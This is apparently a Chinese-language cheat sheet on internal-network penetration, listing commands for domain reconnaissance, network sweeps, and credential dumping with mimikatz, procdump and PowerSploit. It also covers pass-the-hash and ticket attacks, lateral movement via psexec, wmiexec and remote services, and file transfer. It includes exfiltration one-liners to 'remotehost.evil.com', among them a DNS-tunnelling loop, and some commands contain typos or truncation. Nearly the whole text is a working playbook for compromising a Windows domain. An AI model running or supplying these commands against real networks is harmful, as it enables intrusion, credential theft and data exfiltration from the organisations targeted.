我所知道的内网渗透

1.防火墙穿透
2.木马免杀穿透
3.内网信息收集及目标定位
4.关于文件下载

1.域信息收集
2.获取域权限
3.dump域hash
4.内网权限维持

1.常规内网渗透
2.各种欺骗攻击

1.内网环境下先查看网络架构。例如 网段信息 域控 DNS服务器 时间服务器
2.收集到了足够多的信息可以扫一下开放端口 21 22 80 8080 443等确定敏感信息，以及之后渗透的方向
3.通过以上信息进行一定的弱口令尝试，针对特定的软件做banner采集利用，snmp测试读取和写入权限
4.进行一些提权操作，从横向和纵向对目标服务器进行渗透。
5.进行敏感信息挖掘，内网密码收集嗅探，同时擦出入侵足迹。

ipconfig /all                ------ 查询本机IP段，所在域等
net user                     ------ 本机用户列表
net localgroup administrators            ------ 本机管理员[通常含有域用户]
net user /domain                         ------ 查询域用户
net group /domain                        ------ 查询域里面的工作组
net group "domain admins" /domain        ------ 查询域管理员用户组
net localgroup administrators /domain    ------ 登录本机的域管理员
net localgroup administrators workgroup\user001 /add   ------域用户添加到本机
net group "domain controllers" /domain        ------ 查看域控制器(如果有多台)
net time /domain                   ------ 判断主域，主域服务器都做时间服务器
net config workstation             ------ 当前登录域
net session                        ------ 查看当前会话
net use \\ip\ipc$ pawword /user:username      ------ 建立IPC会话[空连接-***]
net share                          ------  查看SMB指向的路径[即共享]
net view                           ------ 查询同一域内机器列表
net view \\ip                      ------ 查询某IP共享
net view /domain                   ------ 查询域列表
net view /domain:domainname        ------ 查看workgroup域中计算机列表
net start                          ------ 查看当前运行的服务
net accounts                       ------  查看本地密码策略
net accounts /domain               ------  查看域密码策略
nbtstat –A ip                      ------netbios 查询
netstat –an/ano/anb                ------ 网络连接查询
route print                        ------ 路由表tasklist /V                        ----- 查看进程[显示对应用户]
tasklist /S ip /U domain\username /P /V             ----- 查看远程计算机进程列表
qprocess *                         ----- 类似tasklist
qprocess /SERVER:IP                ----- 远程查看计算机进程列表
nslookup –qt-MX Yahoo.com          ----- 查看邮件服务器
whoami /all                        ----- 查询当前用户权限等
set                                ----- 查看系统环境变量
systeminfo                         ----- 查看系统信息
qwinsta                            ----- 查看登录情况
qwinsta /SERVER:IP                 ----- 查看远程登录情况
fsutil fsinfo drives               ----- 查看所有盘符
gpupdate /force                    ----- 更新域策略cmdkey /l  ----- 看是否保存了登陆凭证。（攻击者会先查看管理员是否保留了登陆凭证，方便后续的凭证抓取。）
echo %logonserver%                 ----- 查看登陆域

powershell.exe -exec bypass -Command "Import-Module C:\Invoke-TSPingSweep.ps1;

Invoke-TSPingSweep -StartAddress 192.168.0.1 

-EndAddress 192.168.0.254 
-ResolveHost -ScanPort -Port 21,22,23,25,53,80,81,82,83,84,85,86,87,88,89,110,111,143,389,443,445,873,1025,1433,1521,2601,3306,3389,3690,5432,5900,7001,8000,8080,8081,8082,8083,8084,8085,8086,8087,8089,9090,10000"  
目标网段，并非仅限C段，比如你也可以写成这种方式`192.168.0.1 - 192.168.0.254`

#!/bin/bash
for ip in 192.168.0.{1..254} 
do 
    ping $ip -c 1 &> /dev/null 
        if [ $? -eq 0 ];then 
            echo $ip is alive .... 
        fi 
done

nmap -sn -PE 192.168.0.1/24

start /b arpscan.exe -t 192.168.0.1/24 >> result.txt

tent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1');"Get-Process lsass | Out-Minidump"
或者本机执行
# Public>powershell –exec bypass –Command "& {Import-Module 'C:\Users\Public\Out-Minidump.ps1'; Get-Process lsass | Out-Minidump}"

nmap -sn -PR 192.168.0.1/24 尝试arp扫描

netdiscover -r 192.168.0.1/24 -i eth0

msf > use  auxiliary/scanner/discovery/arp_sweep
msf > show options
msf > set  interface eth0
msf > set  smac 00:0c:29:92:fd:85
msf > set  rhosts 192.168.0.1/24
msf > set  threads 20
msf > set  shost 192.168.0.133 (伪造源ip)
msf > run

meterpreter > getsystem     另外,在目标机器上扫描时,务必先提权(个人建议,会方便很多),不然扫描过程中可能会有些问题
meterpreter > run autoroute -s 192.168.0.1/24  (添加路由)
eterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.0.1/24meterpreter > run

net viewdsquery computer 其实,域内最好用的也就是nbtscan了

privilege::debugtoken::elevatelsadump::samsekurlsa::logonPasswords (获取明文用户口令）

https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-PowerDump.ps1

powershell -ep bypass -f Invoke-PowerDump.ps1

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY sercrity.hiv
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv /sercrity:sercrity.hiv" exit

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

32位机器：procdump.exe -accepteula -ma lsass.exe lsass.dmp 
64位机器：procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

mimikatz.exesekurlsa::minidump lsass.dmpsekurlsa::logonPasswords full

# Public>powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1');"Get-Process lsass | Out-Minidump"
或者本机执行
# Public>powershell –exec bypass –Command "& {Import-Module 'C:\Users\Public\Out-Minidump.ps1'; Get-Process lsass | Out-Minidump}"

[+]普通机器允许Console：administrator组（domain admins），users组（domain users），backup operators组允许rdp：administrator组（domain admins），Remote desktop users组
[+]域控AD允许Console：administrator组，backup operators组，account operators组，print operators组，server operators组允许rdp：administrator组，Remote desktop users组

net user /domain       #查看域用户
net view /domain       #查看有几个域
net view /domain:XXX   #查看此域内电脑
net group /domain      #查询域里面的组
net group "domain computers" /domain  #查看加入到域内的所有计算机名
net group "domain admins" /domain     #查看域管理员
nltest /dclist:xxx     #查看域控制器
net group "domain controllers" /domain   #查看域控制器
net user hacker /domain     #获得指定账户的详细信息

dsquery computer       ----- 寻找目录中的计算机
dsquery contact        ----- 在目录中查找与指定的搜索条件相匹配的联系人
dsquery subnet         ----- 寻找目录中的子网
dsquery group          ----- 寻找目录中的群组
dsquery ou             ----- 寻找目录中的组织单位
dsquery site           ----- 寻找目录中的站点
dsquery server         ----- 寻找目录中的域控制器
dsquery user           ----- 寻找目录中的用户
dsquery quota          ----- 寻找目录中的配额规格
dsquery partition      ----- 寻找目录中的磁盘分区dsquery *  ----- 使用标准的LDAP查询在目录中寻找任何对象
dsquery server –domain Yahoo.com | dsget server–dnsname –site ---搜索域内域控制器的DNS主机名和站点名
dsquery computer domainroot –name *-xp –limit 10   ----- 搜索域内以-xp结尾的机器10台
dsquery user domainroot –name admin* -limit  ---- 搜索域内以admin开头的用户10个…………
[注:dsquery来源于Windows Server 2003 Administration Tools Pack]
具体参考：http://blog.51cto.com/122269875/1716414

wmic bios                       ----- 查看bios信息
wmic qfe                        ----- 查看补丁信息
wmic qfe get hotfixid           ----- 查看补丁-Patch号
wmic startup                    ----- 查看启动项
wmic service                    ----- 查看服务
wmic os                         ----- 查看OS信息
wmic process get caption,executablepath,commandline
wmic process call create “process_name” (executes a program)
wmic process where name=”process_name” call terminate (terminates program)
wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size,
volumeserialnumber (hard drive information)
wmic useraccount (usernames, sid, and various security related goodies)
wmic useraccount get /ALL
wmic share get /ALL (you can use ? for gets help ! )
wmic startup list full (this can be a huge list!!!)
wmic /node:"hostname" bios get serialnumber (this can be great for finding warranty info about target)

cat /etc/issue  #查看系统名称
cat /etc/lsb-release  #查看系统名称
cat /etc/nsswitch       #查看密码登陆策略
route   #查看路由
cat /etc/network/interfaces   #查看网卡配置文件
cat /var/log/syslog   #查看系统日志
ps aux   #查看进程crontab -l   #计划任务
cat /etc/network/interfaces  #查看网络配置
netstat  #查看网络通信
showmount -e ip 查看NFS连接
ldapsearch -h 192.168.0.1 -x -z 10 -p 指定端口  #查找10条用户记录
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.0.1  #匿名信息查找管理员信息
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2   #有密码形式查找管理员信息

dir \\domain.com\sysvol\*

利用条件：     
域用户及口令 
    
域控地址利用方法：     
kekeo.exe /domain:vuln.local /user:adminstrator /password:12580/ /ptt

1.获得一台域主机权限；
2.Dump内存获取用户hash（或明文）；
3.通过pass the hash 或 pass the ticket尝试登陆其他主机；
4.继续收集hash或明文，并尝试远程登陆；
5.知道获得域管理员hash，登陆域控，最终成功控制整个域。

struts2、zabbix、axis、ImageMagic、fastcgi、Shellshock、redis未授权访问、Hadoop、weblogic、jboss、WebSphere、Coldfusion

php、Java、python、ruby、node.js

struts2、zabbix、axis、ImageMagic、fastcgi、Shellshock、redis未授权访问、Hadoop、weblogic、jboss、WebSphere、Coldfusion

winrs -r:192.168.22.33 -u:administrator -p:p@assw0rd ipconfig

dsquery user - 查找目录中的用户。dsquery computer - 查找目录中的计算机。

建立ipc连接以后，就可以访问目标机器的文件（上传、下载），也可以在目标机器上运行命令。上传和下载文件直接通过copy命令就可以，不过路径换成UNC路径。何为UNC路径？简单来讲以\开头的路径就是UNC路径，比如\192.168.1.2\c$\boot.ini。如果要从本地当前目录上传1.bat到192.168.1.2机器C盘根目录下，那么命令就是：copy 1.bat \\192.168.1.2\C$\反之就是下载。dir,copy,xcopy,move,type的参数都可以使用UNC路径

服务端：nc -lvnp 23 < nc.exe下载端：telnet ip -f c:\nc.exe

net use x: \\[目标IP]\[地址] [域用户password] /user:[域]\[username]

powershell -ExecutionPolicy Bypass -File .\1.ps1

$d = New-Object System.Net.WebClient$d.DownloadFile("http://baidu.com/file.zip","c:/1.zip")

Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://192.168.206.101/file.zip",0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile "c:\file.zip",2

cscript test.vbs

bitsadmin /transfer n http://baidu.com/file.zip c:\1.zip

#!/usr/bin/perluse 
LWP::Simplegetstore("http://baidu.com/file.zip", 
"/root/1.zip");

#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://baidu.com/file.zip')
localFile = open('/root/1.zip', 'w')
localFile.write(u.read())
localFile.close()

#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://baidu.com/file.zip')
localFile = open('/root/1.zip', 'w')
localFile.write(u.read())
localFile.close()

wget http://baidu.com/file.zip -P /root/1.zip
其中-P是保存到指定目录

tar zcf - /some/localfolder | ssh remotehost.evil.com "cd /some/path/name;tar zxpf -"

tar zcf - localfolder | xxd -p -c 16 |  while read line; do host $line.domain.com remotehost.evil.com; done

<?php
        $data = @file("http://example.com/file");
        $lf = "local_file";
        $fh = fopen($lf, 'w');
        fwrite($fh, $data[0]);
        fclose($fh);
?>

>**windows下**>ftp下载是需要交互，但是也可以这样去执行下载open hostusernamepasswordbinlcd c:/get filebye>将这个内容保存为1.txt， ftp -s:"c:\1.txt">在mssql命令执行里面(不知道为什么单行执行一个echo,总是显示两行),个人一般喜欢这样echo open host >> c:\hh.txt & echo username >> c:\hh.txt & echo password >>c:\hh.txt & echo bin >>c:\hh.txt & echo lcd c:\>>c:\hh.txt & echo get nc.exe  >>c:\hh.txt & echo bye >>c:\hh.txt & ftp -s:"c:\hh.txt" & del c:\hh.txt
>**linux下**>bash文件ftp 127.0.0.1usernamepasswordget fileexit
>或者使用busybox里面的tftp或者ftp>busybox ftpget -u test -P test 127.0.0.1 file.zip

服务端:cat file | nc -l 1234
下载端:nc host_ip 1234 > fil

>vi /etc/samba/smb.conf
[test]
    comment = File Server Share
    path = /tmp/
    browseable = yes
    writable = yes
    guest ok = yes
    read only = no
    create mask = 0755
>service samba start

cat \\192.168.0.100 15:00 c:\hack.bat

psexec针对远程建立连接的认证方式有两种，一种先建立ipc连接，然后直接用psexec \\192.168.0.100 cmd命令开启一个半交互式的cmdshell，另一种是在psexec的参数中指定账号密码。参数：   -s 参数用来以system权限执行   –accepteula 绕过第一次运行的弹窗   -c <[路径]文件名>:拷贝文件到远程机器并运行（注意：运行结束后文件会自动删除）   -d 不等待程序执行完就返回
使用：psexec \\192.168.1.2 c:\hack.bat

T00ls大牛写的一款工具。早就传开了。半交互模式：cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password
单个命令执行的模式：cscript.exe wmiexec.vbs /cmd 192.168.1.1 username password "command"
如果有时候我们抓取到的是hash，破解不了时可以利用WCE的hash注入，然后再执行WMIEXEC（不提供账号密码）就可以了。
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1  wce -s [hash] cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1

1、系统权限(其中test为服务名)sc \\DC1 create test binpath= c:\cmd.exesc \\DC1 start testsc \\DC1 delete test
2.指定用户权限启动sc \\DC1 create test binpath = "c:\1.exe" obj= "centoso\administrator" passwrod= testsc \\DC1 start test